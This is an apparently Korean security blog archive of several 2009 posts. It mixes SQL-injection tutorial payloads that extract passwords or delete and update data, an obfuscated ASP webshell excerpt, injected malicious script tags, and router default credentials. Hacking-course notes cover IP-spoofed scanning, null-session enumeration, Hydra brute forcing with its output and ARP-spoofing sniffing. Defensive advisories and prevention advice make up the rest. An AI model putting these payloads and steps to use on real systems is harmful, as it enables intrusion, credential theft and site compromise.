    out.println(rs.getString(2)+"<br>");

    out.println(rs.getString(3)+"<br>");

}


무엇이 잘못되었을까요?



글번호가 1134896409234 인 게시물은 다음과 같이 URL이 요청되어 조회가 될겁니다

요청 URL

/read.jsp?bno=1134896409234


하지만 위와 같이 추가적으로 UNION SQL Injection이 들어갈 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug'  ORDER BY boardno ASC #


그러면 goodbug라는 아이디의 비밀번호가 그만 조회되어 버립니다!!

그럼 user_t 라는 테이블과 ,userid, userpw라는 컬럼명들은 어떻게 알수 있을까요?


오라클 이라면 다음과 같이 알아낼 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC --


테이블 명을 알아냈다면 이제 컬럼명을 알아봐야겠죠

오라클이라면 user_tab_columns view를 통해 알아볼 수 있습니다

SELECT * FROM user_tab_columns WHERE table_name = 'user_t'


물론 한번에 알아낼수 없으며 많은 시행착오를 겪어야 하는것은 필수입니다

그래서 제로보드나 Unicorn 같은 공개 게시판인 경우는 타겟이 되기 쉽상입니다


MySQl이나 Oracle JDBC에서는 다행히도 ; 문자를 이상 캐릭터로 보고 에러를 반환합니다

하지만 그렇지 않은 JDBC가 있따면 큰일입니다 아래와 같은 코드가 가능하기 때문이지요


/read.asp?bno=1134896409234';DELETE FROM user_t

/read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111'


PHP나 ASP인 경우에는 가능한 쿼리 입니다

이제 대강 SQL Injection에 대해 감이 잡히시나요?



4. 에러 메세지를 통한 정보수집

 

admin_login 이라는 관리자 테이블과 login_name이라는 컬럼을 알아 냈다고 한다면..

M$SQL인 경우를 예를 들겠습니다


/read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--


Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int.
/read.asp, line 5

라는 메세지가 나옵니다

여기서 무순 정보를 알수 있을까요? 바로 goodbug 라는 관리자 아이디가 있다는 것을 알았습니다

그럼 여참에 비밀번호까지 알아봅시다


/read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'--


Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int.
/read.asp, line 5


즉 nvarchar 타입의 컬럼을 int형으로 convert를 유도하면서 해당값을 에러메세지로부터 취득할 수 있습니다


가능하면 에러 메세지는 일반 유저에게 뿌리지 말아야 겠지요?



5. 그렇다면 막아보자 SQL Injection

 

해커라고 컴퓨터 한두번 두둘겨서 어느 한 사이트를 뚝딱 해킹하지는 못합니다

웹 해킹을 하기 위해서는 보통 짧으면 일주일에서 길면 몇달까지 해커는 치밀한 준비를 한다고 합니다

웹페이지들이 전달하는 모든 파라미터를 조사하고 반복되는 에러 화면을 보면서

여러 패턴별로 치밀하게 조사후 시행을 한다고 하네요


그렇다면 어떻게 이들로부터 웹 어플리케이션을 보호할 수 있을까요?

다음과 같은 원칙을 지킨다면 이러한 SQL Injection을 사전에 방지할 수 있습니다


프로그래머의 적극적인 의지가 있어야 합니다!

   -. 여러가지 신경써야 할곳도 많고 입력값에 대한 체크로직 또한 늘어날 것입니다

       많은 귀차니즘이 생길겁니다

       머 누가 장난치겠어? 라는 생각이 많은 빵꾸를 만듭니다


 사용자가 직접 입력하는 파라미터는 절대 신뢰하지 않아야 합니다!

   -.  입력값은 javascript 뿐만 아니라 서버측에서도 체크를 해야 합니다

        숫자만 받은 입력칸이면 반드시 javascript 체크와 동시에 서버측에서도 숫자만 입력되었는지 체크해야 합니다

   -. 필요하다면 특수문자는 필터링해 버립시다 ( ‘ “ / \ : ; Space < > )

   -. 또 가능하다면 SQL 명령도 필터링 해버립시다 (UNION, SELECT, DELETE, INSERT, UPDATE, DROP..)


사용자 입력을 받아 SQL을 작성하는 부분은 반드시 PreparedStatement를 사용하여 바인딩 처리 합니다!!

   -. PreparedStatement는 SQL Injection을 원천적으로 봉쇄합니다

   -. 꼬~옥 필요한곳만 Statement를 사용합니다


웹에서 사용하는 유저는 OS계정 뿐만 아니라 데이터베이스 계정또한 가능한 권한을 낮춥니다!!

 

에러 메세지를 노출하지 않습니다!!

   -. 에러 메세지는 해커들에게 많은 정보를 제공해 줍니다

       가능하면 유저에게 알리지 말고 은밀하게 보관해야 합니다


동적 SQL은 가능하면 생성하지 않는다!!

   -. 가능한 동적 SQL은 지양하며, 비지니스로직상 동적 SQL이 어쩔수 없다면 파라미터 검사를 충분히 해야한다


많은분들이 아시는 내용이지만 처음보시는분에겐 많은 도움이 되실겁니다 ^^


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

2009/08/26 17:24 2009/08/26 17:24
SQL Injection 실습장면

꾀 오래된 자료인데, 정재씨라는 분이 예전에 공개했던 자료랍니다.

sql 에 기본 베이스가 잡혀있는 분은 쉽게 보실수있습니다.
2009/08/26 17:21 2009/08/26 17:21
구글 코드 서치로 PHP 코드 중 SQL Injection 취약점이 있는 코드를 찾는 키워드가 공개되었습니다.

쿼리 : lang:php Where \$_POST -addslashes
쿼리 결과 : http://www.google.com/codesearch?q=+lang:php+Where+%5C%24_POST+-addslashes&sa=N

쿼리를 잘 보시면 PHP 언어 중 Where 와 $_POST 절이 나타나면서 addslashes 함수를 사용하지 않는 코드를 찾고 있는 것을 보실 수 있습니다.

대략 어떤 형식으로 검색을 하는지 아시겟죠?
2009/08/26 17:20 2009/08/26 17:20

IP공유기 각사별 초기세팅값

ID와 Pass란의 공란은 입력란은 있으나 입력이 필요없는 경우이며, 없슴의 경우엔 입력란 자체가 없는 경우입니다.

제조사

모델명

초기IP주소

USER ID

Password

프린터서버유무

리넷

RX-2004

192.168.0.1

없음

없음

있음

RX-2007

192.168.0.1

없음

없음

있음

RX-2040

192.168.1.254

공란

공란

없음

RX-3400

192.168.1.254

공란

공란

없음

RX-3400PLUS

192.168.1.254

공란

공란

없음

RX-2008

192.168.1.254

공란

공란

있음

유니콘

HIP-400E

192.168.123.254

없음

admin

있음

HIP-800E

192.168.123.254

없음

admin

있음

COS-400K

192.168.123.254

없음

admin

없음

MAX-400K

192.168.123.254

공란

공란

없음

MAX-400PLUS

192.168.123.254

공란

공란

없음

HIP-400PLUS

192.168.123.254

없음

admin

있음

삼성

MagicIP-Blue

192.168.10.1

공란

admin

없음

데이타그램

DXR9400

192.168.1.1
  1.09이상:
  192.168.10.1

admin

admin

없음

DXR-9410

192.168.10.1

없음

없음

없음

리포텍

RP-IP2014

192.168.1.1

router

admin

없음

넷기어

RP-114

192.168.0.1

admin

1234

없음

RT-311

192.168.0.1

admin

1234

없음

RP-614

192.168.0.1

admin

password

없음

액톤

AC-IG1004

192.168.2.1

없음

공란

있음

지오
INB3040SR

192.168.0.1

없음

없음

없음

쓰리콤

3C-510

192.168.2.1

없음

admin

있음

3C855

192.168.1.1

없음

admin

없음

오비스링크

OV-IP2042

192.168.1.254

공란

공란

없음

OV-IP2047

192.168.1.254

공란

공란

없음

OV-IP2070

192.168.1.1

admin

admin

없음

링크시스

BEFSR41

192.168.1.1

공란

admin

없음

마하링크
MACH-500V

192.168.123.254

admin

admin

USB 있음

에이엘테크

GW-100

192.168.1.1

공란

admin

없음

GW-200

192.168.1.1

공란

admin

없음

GW-300A

192.168.1.1

공란

admin

없음

GW-200Plus

192.168.1.1

공란

admin

없음

사이베론

CGR-204

192.168.0.1

없음

없음

없음

CGR-304V

192.168.0.1

없음

없음

없음

위의 IP초기값은 IP공유기출시때의 값입니다. 사용중에 펌웨어 업그레이드를 한 경우 IP초기값이 펌웨어 버전이 업그레이드 되면서 변경되는 경우가 있습니다.  

2009/08/26 17:18 2009/08/26 17:18
* 시작하기 전에 *
본 강좌는 치트엔진 공식포럼의 infinitezero님께서 올리신 튜토리얼(http://forum.cheatengine.org/viewtopic.php?t=34471)을 기초로 번역한 것으로,
저의 부족한 영어 실력과 프로그램의 버전업 등을 반영하느라 추가된 내용으로 인하여원문 내용과는 다소 차이가 날 수 있음을 알려 드립니다.

이 "소스"는 Cheat Engine을 만들기 위한 소스 입니다.
이 "소스"는 게임가드에 감지되지 않기 하기 위한 용도 등으로 부분적인 수정이 가능합니다.
(감지 되지 않는다면, 게임가드를 우회하여 메이플스토리 등의 게임을 에디트 할수 있겠죠.)

시작...

(1) 이곳으로 가십시오.
그리고 Stable version(안정화 버전)을 다운 받으십시오. (첫번째 것.)
(이 강좌를 쓰는 2006년 11월 16일 기준으로 가장 최신의 안정화 버전인) TortoiseCVS-1.8.29.exe 를 다운받아 설치 하십시오.
(팁: 설치 과정중 재부팅을 하라는 메세지가 나오면 사실 진짜로 재부팅을 할 필요는 없습니다.
진짜로 필요한 것은 explorer.exe 프로세서를 종료시켰다가 다시 실행만 하면 됩니다. 만약 이렇게 하는 방법을 모르신다면 그냥 재부팅 하십시오.)

(2) 설치가 끝난 후 C드라이브(C:\)를 여신 후 아무곳에서나 마우스 오른 클릭을 하시면 아래와 같은 팝업 메뉴가 나타납니다.

(3) CVS Checkout를 선택하시면 아래와 같은 Checkout module창이 뜹니다.
CVSROOT: 라고 되어 있는 곳에
:pserver:cvsanon@cvs.colddot.nl/CECVS (콜론{:}까지 포함하여 정확하게 기입해 주세요. 그렇지 않으면 작동하지 않습니다.) 라고 적어 주세요.
그런 후에 Module: 부분에 Cheat Engine이라고 적어주고 OK 버튼을 클릭하세요.

그러면 아래와 같이 다운로드를 시작하고 몇분 기다리시면 다운을 완료 합니다.
만약 다운이 완료되면 CVS operation completed 라는 메세지를 출력 합니다.


이제 다운이 완료 되었습니다.
C:\Cheat Engine 으로 가시면 다운로드된 파일들을 확인 하실 수 있습니다.

출처
2009/08/25 15:40 2009/08/25 15:40

IIS 웹 서버의 asp.dll 파일에 맵핑되어 있는 cer 확장자로 위장된 웹쉘이 발견되었습니다. 이 웹쉘은 ASP木2006 툴로 제작된 것으로 바이러스토탈 사이트에서 검사 결과, 우회코드로 인하여 일부 백신에서만 탐지하는 것으로 확인되었습니다.

--- top.cer 웹 쉘 일부 내용 ( 우회코드 ) -----

 Const m = "xl"
 Const showLogin = "xl"
 Const clientPassword = "#"
 Const dbSelectNumber = 10
 Const isDebugMode = False
 Const myName = "??去了"
 Const notdownloadsExists = False
 Const userPassword = "xiaonong"
 Const MyCmdDoTExeFiLe = "cOmmaNd.coM"
 ConSt strJSCloSeMe = "<inPut tYpe=butTon vAluE=' ?? ' onClick='wiNdow.cloSe();'>"

 Sub creAteIT(fSoX, SaX, wSX)
  If isDebugMode = False Then
   On Error Resume Next
  End If

  Set fsoX = Server.CreateObject("Scripting.FileSy"&x&"stemObject")
  If IsEmpty(fsoX) And (pagename = "FsoFile"&x&"Explorer" Or theAct = "fsoSe"&x&"arch") Then
   Set fsoX = fso
  End If

  Set saX = Server.CreateObject("Shell.Ap"&x&"plication")
  If IsEmpty(saX) And (pagename = "AppFileExplorer" Or pagename = "Sa"&x&"CmdRun" Or theAct = "saSe"&x&"arch") Then
   Set saX = sa
  End If

  Set wsX = Server.CreateObject("WScrip"&x&"t.Shell")
  If IsEmpty(wsX) And (pagename = "WsCm"&x&"dRun" Or theAct = "getTermina"&x&"lInfo" Or theAct = "readR"&x&"eg") Then
   Set wsX = ws
  End If

  If Err Then
   Err.Clear
  End If
 End Sub

----------------------

카스퍼스카이가 못 잡다니..... 예상 밖이네요..

사용자 삽입 이미지


2009/08/25 14:39 2009/08/25 14:39
사용자 삽입 이미지

http://openmirror.org/ziphone.org/

간단한 아이팟터치 해킹 툴!!!

* 다운로드 : 위 사이트에서 최신 윈도우용 아이팟 터치 ZiPhone 다운로드
* 설치 : ZiPhoneWin-2.6b.exe을 다운로드 받고 더블클릭하여 압축을 푼뒤
           ZiPhoneGUI.exe 파일을 클릭하면 위 프로그램이 실행됨
* 실행 :
   1. ZiPhoneGUI.exe을 터블클릭하여 프로그램 실행
   2. 아이팟터치를 연결
   3. Jailbreak옆에 있는 iPod touch 클릭 -> 알아서 아이팟터치를 해킹함..
* 참고사항
   1. 해킹하는데 2~3분정도 소요
   2. 아이팟터치 버전이 1.1.4이여야 함(앞으로 최신버전 업데이트시 ZiPhone에 있는 안내문 참조)
   3. 생각보다 너무 간단하게 끝나서 어리둥절함 ㅡㅡ;
2009/08/25 14:32 2009/08/25 14:32

Module 1 - Information Security Overview

  • 학술적인 정의의 정보보안은 각종 위협으로부터 안전하게 보호하여 정보 시스템의 "기밀성", "무결성", "가용성"을 보장하는 것을 말한다.
  • Hacker 는 system 과 network 분야의 H/W, S/W 전문가를 지칭하는 의미로 고도의 전문 프로그래밍 실력을 가지고 합법적인 system, network 관리를 하는 사람을 의미합니다.
  • 전설적인 해커 Kevin Mitnick : 이론만으로 존재했던 IP Spoofing 공격을 실제로 공격에 사용한 최초의 해커로서 그의 실력을 입증하였다.
  • 해커의 분류 : Elite, Semi Elite, Developed Kiddie, Script Kiddie, 레이머
  • 보안 10대 불변 법칙

유용한 사이트
  • http://packetstorm.linuxsecurity.com - 익스플로잇
  • http://www.krcert.or.kr - 통계분석 메뉴
  • http://www.hackerwatch.org - 전세계 인터넷 트래픽 맵
  • http://www.zone-h.org - 메인페이지가 변조된 사이트들을 실시간으로 알려줌
  • http://www.hackersnews.org - 메인페이지가 변조된 사이트들을 실시간으로 알려줌

Module 2 - Attack Technique

  • 전통적인 공격기법
  1. 1단계 : 정보수집 -> 전체단계중 90% 이상을 차지한다.

  2. 2단계 : 시스템 침입
  3. 3단계 : 공격 전이

  • 공격기법 세분화
  1. Footprinting
  2. Scanning
  3. Enumeration
  4. Gaining Access
  5. Escalating Privilege
  6. Pilfering
  7. Covering Tracks
  8. Backdoor
  9. Denial of Service

Ping을 실행했을때, TTL 값이 128 근처이면 윈도우 운영체제이고 유닉스 계열 운영체제는 64 나 255 가 된다.


Module 3 - Footprinting

  • Social Engineering

    • 가장 쉬우면서도 가장 확실한 방법일 수 있는 것이 바로 이 사회공학 기법이다. 희대의 해커였던 케빈 미트닉은 기술 또한 우수했지만 이 사회공학 기법에 있어서 타의 추종을 불허한다고 한다.
    • 합법적인 사용자가 들어가는 데 바로 뒤에 붙어서 들어가려고 시도 (Piggybacking)
    • 휴지통 뒤지기
  • whois

whois는 인터넷에 등록된 domain에 대한 정보를 제공해주는 서비스이다. 이 서비스를 통해 master/slave name server 의 IP, 관리자의 전화번호를 비롯하여 email address, 기관의 지리적 위치, 할당 받은 IP Address, 최종 업데이트일자 등을 확인할 수 있다.


http://www.archive.org

http://www.ip-adress.com


Module 4 - Scanning

http://www.iana.org

http://insecure.org - NMAP (스캐닝)

http://www.wireshark.org - WireShark (패킷캡쳐), AirPcap - 아주 강력한 무선 해킹 툴


출발지 주소를 속이면서(IP Spoof) 해당 호스트 스캐닝 하기

  1. # nmap -v -sS -S 100.100.100.100 -e eth0 192.168.234.129

http://www.foundstone.com - Attacker


Portsentry (iptables 방화벽 연동)

step 1 : http://www.rpmfind.net --> portsentry 검색어 입력 검색

step 2 : wget ~~~

step 3 : rpm -Uvh portsentry ~~

step 4 : lokkit (방화벽활성화)

step 5 : iptables -F (기존 방화벽 rule 제거)

step 6 : service portsentry start

step 7 : 윈2000 에서 리눅스 스캔 (차단당하는지 확인)


Module 5 - Enumeration

윈도우즈 해킹을 위한 준비(스캐닝)


http://securityfocus.com/archive/

http://www.securiteam.com

http://sectools.org - Top 100 Network Security Tools

http://www.milw0rm.com

http://www.hackeroo.com

http://www.nessus.org - 가장 강력한 취약점분석 도구


Nikto - Web Server Scanner

http://www.securiteam.com --> search 에서 nikto 로 검색

http://www.cirt.net/code/nikto.shtml


http://www.watchfire.com/ --> AppScan 상용 웹스캐너


MD5SUM for Windows

http://www.pc-tools.net/win32/md5sums


Null Session 를 이용한 정보수집 방법

  1. c:> net use \\아이피주소\IPC$ "" /u:""
  2. c:> winfo 아이피주소 -v
  3. c:> userinfo \\아이피주소 Administrator


Hydra 를 이용하여 Administrator 비밀번호 알아내기

http://packetstorm.linuxsecurity.com/ 에서 Search 에 hydra 입력

hydra 다운로드

tar xvfz hydra-5.4-src.tar.gz

http://packetstorm.linuxsecurity.com/Crackers/wordlists/에서 passlist 다운로드

# cd hydra-5.4-src

# ./configure && make && make install

# ./hydra -l administrator -P /root/passlist 192.168.234.129 smtp-auth

Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-12-18 16:20:17
[DATA] 16 tasks, 1 servers, 5248 login tries (l:1/p:5248), ~328 tries per task
[DATA] attacking service smtp-auth on port 25
[25][smtpauth] host: 192.168.234.129   login: administrator   password: 12345
[STATUS] attack finished for 192.168.234.129 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2007-12-18 16:20:21



http://www.adventnet.com --> 공짜 로그서버 제공 (5개 서버까지 등록 가능) --> EventLog Analyzer 4


tripwire 설치

  1. # yum -y install tripwire
  2. # tripwire-setup-keyfiles

    # tripwire --init


  3. # tripwire --check



Unix 용 루트킷 검색 프로그램

http://www.chkrootkit.org --> chkrootkit

http://www.rootkit.nl --> rkhunter


Windows 용 루트킷 검색 프로그램

http://technet.microsoft.com --> sysinternals --> Securiy Utilities --> RootkitRevealer, Process Explorer


Sniffing Program

http://www.oxid.it/cain.html


카인과아벨를 이용한 스니핑 방법

Sniffer 탭 클릭 --> Configure 메뉴 --> 랜카드 선택, ARP 탭:가짜 IP, MAC 입력(59.28.225.180) --> Start Sniffer and Start ARP (두번째, 세번째 아이콘 클릭) --> 플러스 아이콘 클릭 --> All --> 모든 IP MAC 이 다 보이게 됨. --> 밑에 ARP 탭 선택 --> 플러스 아이콘 클릭 --> 스니핑하고자 하는 IP 선택  --> 스니핑 시작 --> Password 탭 선택하면 비밀번호가 보임



SYN Flooding Attack

syn 192.168.x.x -p 80

2009/08/25 14:29 2009/08/25 14:29
Microsoft 에서, 웹사이트 코드 취약점 점검 도구를 최근에 배포 하였는데요,. 명령행 기반 유틸 입니다. 아래 kb 문서를 참고하시면 간단한 사용법과 예제가 설명 되어 있으므로 참고들 해보시면 좋을것 같습니다. --> 물론 개발자가 직접 점검해 보아야 하겠지요.. 자기가 개발한 코드이니 만큼..^^

국내 정보보호진흥원에서 배포하는 자료는 광범위하게 배포되어 있고, 예전에 올려진 자료도 있고 해서 따로 정리할 필요는 없을것 같네요..


개발자가 참고해 볼만한 도구 및 문서:
The Microsoft Source Code Analyzer for SQL Injection tool
http://support.microsoft.com/default.aspx/kb/954476

Microsoft Source Code Analyzer for SQL Injection 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-
A4334146B6BA&displaylang=en


Preventing SQL Injections in ASP
http://msdn.microsoft.com/en-us/library/cc676512.aspx

How To: Protect From SQL Injection in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx

Microsoft Anti-Cross Site Scripting Library:
http://msdn.microsoft.com/en-us/library/aa973813.aspx

Tip/Trick: Guard Against SQL Injection Attacks:
http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against
-SQL-Injection-Attacks.aspx



관리자가 참고할 만한 도구 및 문서:
Microsoft Urlscan Filter v3.0 Beta (x86) 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-
321603531989&displaylang=en


Microsoft Urlscan Filter v3.0 Beta (x64) 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=361E5598-C1BD-46B8-B3E7
-3980E8BDF0DE&displaylang=en


AQTRONIX WebKnight - Application Firewall for Web Servers:
http://www.aqtronix.com/?PageID=99


그외, 유틸로는...

Scrawlr - SQL Injection 스캐너
http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/
finding-sql-injection-with-scrawlr.aspx



관련링크:

공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
http://www.wssplex.net/TipnTech.aspx?Seq=312

해킹, 악성코드등 보안 점검 자료 및 정보
http://www.wssplex.net/TipnTech.aspx?Seq=310

DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
http://www.wssplex.net/TipnTech.aspx?Seq=388

SQL Injection and XSS 진단 스크립트
http://www.wssplex.net/TipnTech.aspx?Seq=273
2009/08/25 14:22 2009/08/25 14:22
http://swbae.egloos.com/1752527 헐랭이님 포스트 보니깐,. 음...

직접 해보니 나름 괜찮아 보이긴 한데,. 한가지 아쉬운 점은 url 을 직접 쳐 넣어야 한다는 점... -_-;;



사용법은,. 댓글에도 있지만,. 웹브라우져를 SypBye 서버를 Proxy 로 지정하면,.
사이트 접속시 해당 사이트의 분석을 해줍니다.



손이 좀 가지만,... 사이트 운영자라면,.
자신의 사이트에 대해서 한번 해보는 것도 좋을것 같습니다.^^;

출처 : http://www.wssplex.net/TipnTech.aspx?Seq=443
2009/08/25 14:10 2009/08/25 14:10
직간접적으로 운영되는 서버의 사이트중 하나에 다음 Sql Injection 코드가 삽입 되었습니다.. 최근에 삽입되는 종류가 매우 다양 하군요.. -_-;;

<script src=hxxp://bbs.juedui<script src=hxxp://www.bluell.cn/ip.js></script>
<script src=hxxp://www.bluell.cn/ip.js></script>
<script src=hxxp:/<script src=hxxp://www.bluell.cn/ip.js></script>

직접 위 주소의 ip.js 파일을 다운로드 해볼려니 삭제된 것 같습니다.

구글링 결과 354개.

http://www.google.co.kr/search?complete=1&hl=ko&newwindow=1&q=bluell.cn%2Fip.js&btnG=%EA%B2%80%EC%83%89&lr=lang_ko&aq=-1&oq=

위 코드중에 짤린 부분인,.
juedui.com 도 악성코드 위험 사이트 군요.

악성코드에 대한 보다 많은 정보는 다음 블로그 추천드립니다.
참고해 보세요.!! ^^;;

http://swbae.egloos.com/
2009/08/25 14:09 2009/08/25 14:09
시스템 파일 중 하나가 손상되었거나 제대로 업데이트되지 않은 경우 Microsoft Update 또는 Windows Update의 업데이트 목록에 이 보안 업데이트가 반복적으로 나타날 수 있습니다. 이 문제에 대한 자세한 내용은 다음 문서 번호를 클릭하여 Microsoft 기술 자료 문서를 참조하십시오.

http://support.microsoft.com/kb/941729/

Microsoft XML Core Services 4.0 서비스 팩 2용 보안 업데이트(KB936181)가 Microsoft Update 또는 Windows Update의 업데이트 목록에 반복적으로 나타날 수 있음 (영문)
2009/08/25 14:05 2009/08/25 14:05

저희 인터넷침해사고대응지원센터에서는 인터넷 홈페이지의 보안 수준을 강화할 수 있는 도구를 제작하여 배포하고 있습니다.


1. 웹쉘(페이지형태의 백도어) 탐지 도구 WHISTL


  • 도구 안내서 [다운로드]
  • WHISTL 신청서 및 다운로드 [바로가기]

    2. 웹보안 강화도구 CASTLE


  • 도구 안내서 [다운로드]
  • CASTLE 신청서 및 다운로드 [바로가기]

    출처 : 인터넷침해사고대응지원센터
  • 2009/08/24 11:16 2009/08/24 11:16

    SQL Injection공격으로 인한 홈페이지 내 악성코드 삽입피해 주의요망

    □ 개요
      o 최근 Windows 기반 웹사이트를 대상으로 SQL Injection 취약점을 공격하는
        해킹도구를 통해 데이터베이스내에 악성코드를 대량으로 삽입하는 사례가
        빈번히 발생하고 있어 홈페이지 관리자들의 각별한 주의가 요구됨
        ※ 해당 해킹도구는 일부 웹 보안 장비의 보안기능을 우회할 수도 있으므로
          주의가 필요

    □ 피해 현상
      o  홈페이지 초기화면에 정적(Static)으로 악성코드가 은닉되는 것이 아니라,
        데이터베이스 내 악성코드 링크를 삽입함으로써 해당 데이터베이스와 연동된
        게시판, 상품정보 등 웹 페이지에 악성코드가 동적(Dynamic)으로 삽입됨

     

    □ 원인 
      o  게시판이나 회원 인증 등 웹서비스와 데이터베이스가 연동되는 부분에서 전달
        되는 인자값에 대한 검증절차 부재로 인해 악의적인 SQL 명령어 주입이 가능
        하게 됨 (SQL Injection 취약점)
      o  특히, 최근에는 웹 사이트를 통해 유포되는 악성코드는 쿠키 등 HTTP 헤더정보
        를 통해서도 삽입되고 있고, 일부 웹 보안장비의 보안기능을 우회할 수도 있으
        므로 각별한 주의가 필요

       

    □ (피해 발생시) 복구방법
      o 데이터베이스 백업본 사용
        - 데이터베이스 백업본이 있을 경우 복구에 활용
      o 악성코드가 삽입된 테이블을 모두 찾아 SQL명령문으로 복구
       - 반드시 데이터베이스 관리자/개발자와 충분히 검토한 후에 적용 요망
       - 자료형 변환이 필요 없는 경우 replace함수만으로 복구 가능 

    Update [테이블명] set [컬럼명]=replace([컬럼명],[삭제하고자하는 악성코드 문자열],)

    예> Update freebbs set title=replace(title, ,)

       - 자료형 변환이 필요한 경우는 cast함수를 이용하여 복구

    Update [테이블명] Set [컬럼명] = replace(cast([컬럼명] as varchar(8000)), [삭제하고자하는 악성코드 문자열], )

    예> Update freebbs Set contents = replace(cast(contents as varchar(8000)), , )

           ※ 컬럼의 자료형(data type)이 ntext, image 등인 경우 cast함수를

             사용하여 자료형 변환 후 replace가능하지만, replace를 위한 변수

             공간(varchar(8000)) 보다 큰 자료의 경우 자료 손실이 발생 할 수

             있으므로 주의 요망. MS SQL 2005 이상에서는 varchar(max)사용 가능

       - MS SQL 서버에서 사용하는 큰값 자료형 참조 자료
        [1] 큰 값 자료형 설명:
                      http://msdn.microsoft.com/ko-kr/library/ms178158.aspx
        [2] UPDATETEXT 설명:
                      http://msdn.microsoft.com/ko-kr/library/ms189466.aspx

    □ 예방대책 
      o 근본적인 해결을 위해 모든 변수값에 유효값 검증 절차 적용
      o 웹사이트에서 사용하는 DB권한의 최소화 및 SA계정 사용 제한 등의
        SQL서버 최적화
      o 웹 보안 솔루션 도입 및 정책 최적화
       - MS URLscan 관련 자료
         [1] URLscan 사용방법: http://support.microsoft.com/kb/326444/ko
         [2] URLscan 다운로드: http://www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-321603531989&displaylang=en
          ※ URLscan은 웹방화벽과 유사하며 서버로 전달되는 값들의 필터링 기능이 지원됨
       - 공개웹방화벽 관련 자료
         [1] 사용자 커뮤니티:
                     www.securenet.or.kr > 열린지식 > 공개웹방화벽커뮤니티
       ※ WebKnight에서는 헤더설정의 Injection공격 차단이 설정되어 있어야 차단 가능하며,
           오탐발생이 예상되므로, 적용 후 일정기간 모니터링 필요

       

         

      o 웹사이트 보안 강화 가이드
       - 웹보안 4종 가이드: www.KrCERT.or.kr접속 > 웹보안 4종 가이드
      o 웹사이트 취약점 점검
       - KISA 무료 웹취약점점검 서비스 http://webcheck.krcert.or.kr
       ※ 비영리단체 또는 중소기업등의 정보보호취약계층만 서비스 대상임
       - MS 소스코드 검사 도구: http://support.microsoft.com/default.aspx/kb/954476
       - HP 점검 도구: http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx
      o  MS SQL서버에서 sysobjects 또는 syscolumns 권한을 제거하여 악성코드 삽입
         스크립트 실행을 차단할 수 있으나, 운영 환경에 따라 적용 효과에 차이가 있으므로
         추후에 배포될 기술문서에서 안내예정

    □ 참고사이트
      [1] http://isc.sans.org/diary.html?storyid=3823
      [2] http://isc.sans.org/diary.html?storyid=5092
      [3] http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html
      [4] http://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyId=16&articleId=9055858&intsrc=hm_topic
      [5] http://www.trustedsource.org/blog/142/New-SQL-Injection-Attack-Infecting-Machines
      [6] http://www.f-secure.com/weblog/archives/00001432.html 

    2009/08/24 10:21 2009/08/24 10:21
    Microsoft 에서, 웹사이트 코드 취약점 점검 도구를 최근에 배포 하였는데요,. 명령행 기반 유틸 입니다. 아래 kb 문서를 참고하시면 간단한 사용법과 예제가 설명 되어 있으므로 참고들 해보시면 좋을것 같습니다. --> 물론 개발자가 직접 점검해 보아야 하겠지요.. 자기가 개발한 코드이니 만큼..^^

    국내 정보보호진흥원에서 배포하는 자료는 광범위하게 배포되어 있고, 예전에 올려진 자료도 있고 해서 따로 정리할 필요는 없을것 같네요..


    개발자가 참고해 볼만한 도구 및 문서:
    The Microsoft Source Code Analyzer for SQL Injection tool
    http://support.microsoft.com/default.aspx/kb/954476

    Microsoft Source Code Analyzer for SQL Injection 다운로드
    http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-
    A4334146B6BA&displaylang=en


    Preventing SQL Injections in ASP
    http://msdn.microsoft.com/en-us/library/cc676512.aspx

    How To: Protect From SQL Injection in ASP.NET
    http://msdn.microsoft.com/en-us/library/ms998271.aspx

    Microsoft Anti-Cross Site Scripting Library:
    http://msdn.microsoft.com/en-us/library/aa973813.aspx

    Tip/Trick: Guard Against SQL Injection Attacks:
    http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against
    -SQL-Injection-Attacks.aspx



    관리자가 참고할 만한 도구 및 문서:
    Microsoft Urlscan Filter v3.0 Beta (x86) 다운로드
    http://www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-
    321603531989&displaylang=en


    Microsoft Urlscan Filter v3.0 Beta (x64) 다운로드
    http://www.microsoft.com/downloads/details.aspx?FamilyId=361E5598-C1BD-46B8-B3E7
    -3980E8BDF0DE&displaylang=en


    AQTRONIX WebKnight - Application Firewall for Web Servers:
    http://www.aqtronix.com/?PageID=99


    그외, 유틸로는...

    Scrawlr - SQL Injection 스캐너
